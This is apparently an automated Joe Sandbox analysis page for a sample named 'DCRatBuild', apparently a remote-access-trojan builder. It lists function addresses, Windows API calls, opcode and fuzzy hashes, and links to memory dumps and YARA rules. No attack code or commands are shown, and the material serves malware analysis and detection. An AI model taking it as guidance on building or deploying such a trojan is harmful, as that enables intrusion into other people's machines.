Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: PDu<J
API String ID: 1269201914-2547070606
Opcode ID: 4727c7b6a86ce55a5cc090027630b5fdc7eba910fae43cf2d5e1dbead56ccc73
Instruction ID: c7b42be724f1191b967e08a8b7537c0051d63d3d5a2fe1a731584e8b8937d0d6
Opcode Fuzzy Hash: 4727c7b6a86ce55a5cc090027630b5fdc7eba910fae43cf2d5e1dbead56ccc73
Instruction Fuzzy Hash: C5A012C5A590017C300431432D02D3B010CC0D7F1C330441FF42580080684C0C010439

Function 004AE555 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE51F

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Strings

PDu<J, xrefs: 004AE519

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: PDu<J
API String ID: 1269201914-2547070606
Opcode ID: 9639a641e994a735b7d12303ce0e8380cfb976a6d47a69e28bdcd2d6ebfae3f9
Instruction ID: c7b42be724f1191b967e08a8b7537c0051d63d3d5a2fe1a731584e8b8937d0d6
Opcode Fuzzy Hash: 9639a641e994a735b7d12303ce0e8380cfb976a6d47a69e28bdcd2d6ebfae3f9
Instruction Fuzzy Hash: C5A012C5A590017C300431432D02D3B010CC0D7F1C330441FF42580080684C0C010439

Function 004AE569 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE51F

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Strings

PDu<J, xrefs: 004AE519

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: PDu<J
API String ID: 1269201914-2547070606
Opcode ID: c12bc3641687dbc650cc512fd1469dd70c8e0cc9187567eb532a87105bc3a532
Instruction ID: c7b42be724f1191b967e08a8b7537c0051d63d3d5a2fe1a731584e8b8937d0d6
Opcode Fuzzy Hash: c12bc3641687dbc650cc512fd1469dd70c8e0cc9187567eb532a87105bc3a532
Instruction Fuzzy Hash: C5A012C5A590017C300431432D02D3B010CC0D7F1C330441FF42580080684C0C010439

Function 004AE573 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE580

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Strings

FjunJ, xrefs: 004AE57A

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: FjunJ
API String ID: 1269201914-1583188906
Opcode ID: 76ac8d4302d32431c7f42059ef7ea1093152d949d87785229fd5c7d0d7f4c8fa
Instruction ID: 0a7d6e424a8176da76fd721f698b49ab2baa141fa15af3fdeb47cbd3d67c5869
Opcode Fuzzy Hash: 76ac8d4302d32431c7f42059ef7ea1093152d949d87785229fd5c7d0d7f4c8fa
Instruction Fuzzy Hash: 49A011CAAA80003C300822A32E02E3B020CC0E2B2A3308A2FF82882080A88C0802083E

Function 004AE58E Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE580

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Strings

FjunJ, xrefs: 004AE57A

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: FjunJ
API String ID: 1269201914-1583188906
Opcode ID: bc82e31cc4b92abf23cfac6b219e491d856b4d08c78b3853b5295703762cdf6b
Instruction ID: ca29e70e9e5d5feca07db713aa72ab34abf2e628277f0c2838a01e3bbf3d993c
Opcode Fuzzy Hash: bc82e31cc4b92abf23cfac6b219e491d856b4d08c78b3853b5295703762cdf6b
Instruction Fuzzy Hash: AFA012C5A580017C300821932D02D37010CC0D6B18330481FF42581080684C0801043D

Function 004AE5A2 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE580

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Strings

FjunJ, xrefs: 004AE57A

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: FjunJ
API String ID: 1269201914-1583188906
Opcode ID: e9cc630b598c6983175e4d51adb2a307e9215d00c0e0308da59c1c27f3811ba3
Instruction ID: ca29e70e9e5d5feca07db713aa72ab34abf2e628277f0c2838a01e3bbf3d993c
Opcode Fuzzy Hash: e9cc630b598c6983175e4d51adb2a307e9215d00c0e0308da59c1c27f3811ba3
Instruction Fuzzy Hash: AFA012C5A580017C300821932D02D37010CC0D6B18330481FF42581080684C0801043D

Function 004BBBF0 Relevance: 3.2, APIs: 2, Instructions: 168COMMON

Download Yara Rule

APIs

Part of subcall function 004BB7BB: GetOEMCP.KERNEL32(00000000,?,?,004BBA44,?), ref: 004BB7E6

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,004BBA89,?,00000000), ref: 004BBC64
GetCPInfo.KERNEL32(00000000,004BBA89,?,?,?,004BBA89,?,00000000), ref: 004BBC77

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: edbf3e8aa2d1601943e15be55bcd30d961927fa9021c473b3746a68018d4cf8f
Instruction ID: 84458f733b1a7a8decb94940df619aa284f061303da5e2955609a9a51f83195c
Opcode Fuzzy Hash: edbf3e8aa2d1601943e15be55bcd30d961927fa9021c473b3746a68018d4cf8f
Instruction Fuzzy Hash: 795114709002459EDB20DF76C881AFBBBF8EF42304F18446FD4968B251D7BD99469BE8

Function 00499A74 Relevance: 3.1, APIs: 2, Instructions: 116COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(000000FF,?,?,?,-00000870,00000000,00000800,?,00499A50,?,?,00000000,?,?,00498CBC,?), ref: 00499BAB
GetLastError.KERNEL32(?,00000000,00498411,-00009570,00000000,000007F3), ref: 00499BB6

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 7cc2b69264fb7b91684226f39ebca6c3819d820812f44460be03f7cfa8618973
Instruction ID: 486a029d3a41326ebaf1544a5da96dab4b349e082ab4856c6b3f36081389c0f3
Opcode Fuzzy Hash: 7cc2b69264fb7b91684226f39ebca6c3819d820812f44460be03f7cfa8618973
Instruction Fuzzy Hash: 29419A31A043419BDF24DF19E58486BBBE5FBD9320F148A3EE88183360D77CBD458A5A

Function 00491E50 Relevance: 3.1, APIs: 2, Instructions: 86COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00491E55

Part of subcall function 00493BBA: __EH_prolog.LIBCMT ref: 00493BBF

_wcslen.LIBCMT ref: 00491EFD

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: H_prolog$_wcslen
String ID:
API String ID: 2838827086-0
Opcode ID: 41a9674e0f1bfc31ecce38e051d96423423823174c74fbe6280fa7d00b6a9cd7
Instruction ID: d928958e7886388b977b271aba1ee7e64e15e08d8831026df5ff66dca0140783
Opcode Fuzzy Hash: 41a9674e0f1bfc31ecce38e051d96423423823174c74fbe6280fa7d00b6a9cd7
Instruction Fuzzy Hash: 9E314B7190420A9FCF15DF9AC945AEEBBF5AF18304F1004AFF445A7261C73A9E11CB68

Function 00499DA2 Relevance: 3.1, APIs: 2, Instructions: 83timeCOMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32(?,?,?,?,?,?,004973BC,?,?,?,00000000), ref: 00499DBC
SetFileTime.KERNELBASE(?,?,?,?), ref: 00499E70

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: cf72a28479ca29cc3412154abc41fa0c7ffba962253001fc38a40ecee5c30b73
Instruction ID: 37845e66cc4720e627ae9d4582e5b84bee34c4118548ed6c525d50db2835bdab
Opcode Fuzzy Hash: cf72a28479ca29cc3412154abc41fa0c7ffba962253001fc38a40ecee5c30b73
Instruction Fuzzy Hash: F921E131248245ABCF14CF29C891AABBFE4AF52304F08492EF4C583681D32DDD0C8B65

Function 0049966E Relevance: 3.1, APIs: 2, Instructions: 82fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,00000001,00000000,00000002,00000000,00000000,?,00000000,?,?,?,00499F27,?,?,0049771A), ref: 004996E6
CreateFileW.KERNEL32(?,?,00000001,00000000,00000002,00000000,00000000,?,?,00000800,?,?,00499F27,?,?,0049771A), ref: 00499716

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: bc0db83057e6a038bfd9c4c9cc178e7592dce9e743c41b5abcd0a71462cbf8ef
Instruction ID: 92dca8a784ff100e91777deee29eacc0d12046d80aa0770378b9dab119a98468
Opcode Fuzzy Hash: bc0db83057e6a038bfd9c4c9cc178e7592dce9e743c41b5abcd0a71462cbf8ef
Instruction Fuzzy Hash: 5C21F1B1000344AFE7308A69CC89FB77BDCEB49324F004A2EFA95C22C1C778AC848635

Function 00499E80 Relevance: 3.1, APIs: 2, Instructions: 56COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(000000FF,00000000,00000000,00000001), ref: 00499EC7
GetLastError.KERNEL32 ref: 00499ED4

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: d9eb9d1d0fe1e0c35c408bad47eb0c0886d0468c27ad92cead25de490927ccdd
Instruction ID: 3fba760d92cf62297dd47f4b75cda034a9b6540c11afa1def11e1211afe78d38
Opcode Fuzzy Hash: d9eb9d1d0fe1e0c35c408bad47eb0c0886d0468c27ad92cead25de490927ccdd
Instruction Fuzzy Hash: 6011C231600600ABDF24DA2DC844BA7BBE9AB45360F504A3FE562D26E4D778AD45C668

Function 004B8E54 Relevance: 3.0, APIs: 2, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004B8E75

Part of subcall function 004B8E06: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,004BCA2C,00000000,?,004B6CBE,?,00000008,?,004B91E0,?,?,?), ref: 004B8E38

HeapReAlloc.KERNEL32(00000000,?,?,?,00000007,004D1098,004917CE,?,?,00000007,?,?,?,004913D6,?,00000000), ref: 004B8EB1

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: Heap$AllocAllocate_free
String ID:
API String ID: 2447670028-0
Opcode ID: 9439749044c9c538e4f683509567954a4724ec3e00e195891b3c37900ee85941
Instruction ID: 39e561c2b924760afb71fff78914d56b256f60fbde6e5a8bd7fef78f19e8c9cb
Opcode Fuzzy Hash: 9439749044c9c538e4f683509567954a4724ec3e00e195891b3c37900ee85941
Instruction Fuzzy Hash: 1DF0C2322011066ADB212A269C05BEF375C8FD1B70B24412FF814EA291DF7CDD01C1BD

Function 004A109E Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?), ref: 004A10AB
GetProcessAffinityMask.KERNEL32(00000000), ref: 004A10B2

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 024e760c9ecc6ec41ed25fefdeb70935757b9cb1e6b7981c4800ba6b974d0ca7
Instruction ID: b4dcab7c7d1fcc3e9f3ba45760ab951a664d3f618c2b9c509af0e5b9e1cae697
Opcode Fuzzy Hash: 024e760c9ecc6ec41ed25fefdeb70935757b9cb1e6b7981c4800ba6b974d0ca7
Instruction Fuzzy Hash: 92E0D833B05185A7CF098BB59C05CEB73DDEA65209B148176E403D7611F938DE414764

Function 0049A4ED Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,0049A325,?,?,?,0049A175,?,00000001,00000000,?,?), ref: 0049A501

Part of subcall function 0049BB03: _wcslen.LIBCMT ref: 0049BB27

SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,0049A325,?,?,?,0049A175,?,00000001,00000000,?,?), ref: 0049A532

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AttributesFile$_wcslen
String ID:
API String ID: 2673547680-0
Opcode ID: 4ecfa755f2a56b8c94f809511cd808fc3ba18c5eea42bc5d4481c85b05fef9f4
Instruction ID: 7da4567336add40eae5a5d3aa86f46fbcb82a6671330c1e55f07fd901b71c1fe
Opcode Fuzzy Hash: 4ecfa755f2a56b8c94f809511cd808fc3ba18c5eea42bc5d4481c85b05fef9f4
Instruction Fuzzy Hash: 7DF0A032240109BBDF016F61DC01FDA3B6CBB04385F448062B844D5164DB35DA94DA58

Function 0049A1E0 Relevance: 3.0, APIs: 2, Instructions: 27fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(000000FF,?,?,0049977F,?,?,004995CF,?,?,?,?,?,004C2641,000000FF), ref: 0049A1F1

Part of subcall function 0049BB03: _wcslen.LIBCMT ref: 0049BB27

DeleteFileW.KERNEL32(?,000000FF,?,00000800,?,?,0049977F,?,?,004995CF,?,?,?,?,?,004C2641), ref: 0049A21F

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: DeleteFile$_wcslen
String ID:
API String ID: 2643169976-0
Opcode ID: 49f23e063879bee95ffacd23e43bde716b07361610a80478f63b662609de3efc
Instruction ID: 66091b323e0e795bc69dbd42893ba5731c6ae243a86ac3b7dd31863498171b15
Opcode Fuzzy Hash: 49f23e063879bee95ffacd23e43bde716b07361610a80478f63b662609de3efc
Instruction Fuzzy Hash: AAE092321402096BDF019F62DC45FEA3B5CBB0C38AF484076B944D2154EB66DE94DAA8

Function 004AAC7C Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

GdiplusShutdown.GDIPLUS(?,?,?,?,004C2641,000000FF), ref: 004AACB0
CoUninitialize.COMBASE(?,?,?,?,004C2641,000000FF), ref: 004AACB5

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: GdiplusShutdownUninitialize
String ID:
API String ID: 3856339756-0
Opcode ID: fbe7a9f2470ba65ff6e79389e639eca093d199e517ed034cb898d00979c395a9
Instruction ID: 72ac3c446e45f4765a5aaeb99d28902154658852e1ac5b12d096822c5ae113ba
Opcode Fuzzy Hash: fbe7a9f2470ba65ff6e79389e639eca093d199e517ed034cb898d00979c395a9
Instruction Fuzzy Hash: FFE06572644650EFCB00DF5DDD06F45FBA8FB49B20F10426AF416D3760CB746800CA98

Function 0049A243 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,?,0049A23A,?,0049755C,?,?,?,?), ref: 0049A254

Part of subcall function 0049BB03: _wcslen.LIBCMT ref: 0049BB27

GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,0049A23A,?,0049755C,?,?,?,?), ref: 0049A280

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
